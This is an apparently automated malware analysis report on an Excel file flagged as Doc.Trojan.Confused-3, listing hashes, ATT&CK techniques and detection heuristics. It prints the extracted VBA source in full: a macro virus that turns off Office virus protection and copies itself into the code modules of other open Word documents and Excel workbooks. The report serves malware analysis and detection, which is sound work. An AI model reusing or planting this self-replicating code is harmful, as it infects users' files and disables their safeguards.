Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8df4aaefc5d70d80…

MALICIOUS

Office (OLE)

18.5 KB Created: 1999-01-24 21:25:59 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: c49933bbcc13e8e9ec4b7fd542c4b0f9 SHA-1: 4053602519a2b321e72f17ee6b618dd8dee608a8 SHA-256: 8df4aaefc5d70d80c62bd4c9273c474336c884e191c195470d3a19be0b6dd2ea
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros, identified by ClamAV as Doc.Trojan.Confused-3. The macros utilize GetObject calls and attempt to disable security features, indicating an intent to execute arbitrary code. The presence of VBA macros suggests a spearphishing attachment delivery vector, and the overall behavior points to a downloader or dropper.

Heuristics 3

  • ClamAV: Doc.Trojan.Confused-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Confused-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2291 bytes
SHA-256: 24379a64843af9d1d64dd902573c6772f963abc1e523b22d7acd87db191e6de7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Confused Memories
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.EnableCancelKey = 0
ρ "Word.Application", "ThisWorkbook", "ThisDocument", ThisWorkbook, Workbooks
End Sub
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Application.EnableCancelKey = 0
ρ "Excel.Application", "ThisDocument", "ThisWorkbook", ThisDocument, Documents
End Sub
Private Sub ρ(ByRef α As String, ByRef ο As String, ByRef μ As String, ByRef ι As Object, ByRef ν As Object)
On Error Resume Next
With ι.VBProject.VBComponents(ο).CodeModule: λ = .Lines(1, .CountOfLines + 1): End With
Err.Clear: Set υ = GetObject(, α).VBE.ActiveVBProject.VBComponents(μ).CodeModule
If Err.Number = 0 Then If Not υ.Find("~^^~", 0, 0, 0, 0) Then υ.DeleteLines 1, υ.CountOfLines: υ.AddFromString λ
For Each υ In ν
With υ.VBProject.VBComponents(ο).CodeModule
If Not .Find("~^^~", 0, 0, 0, 0) Then .DeleteLines 1, .CountOfLines: .AddFromString λ
End With: Next: End Sub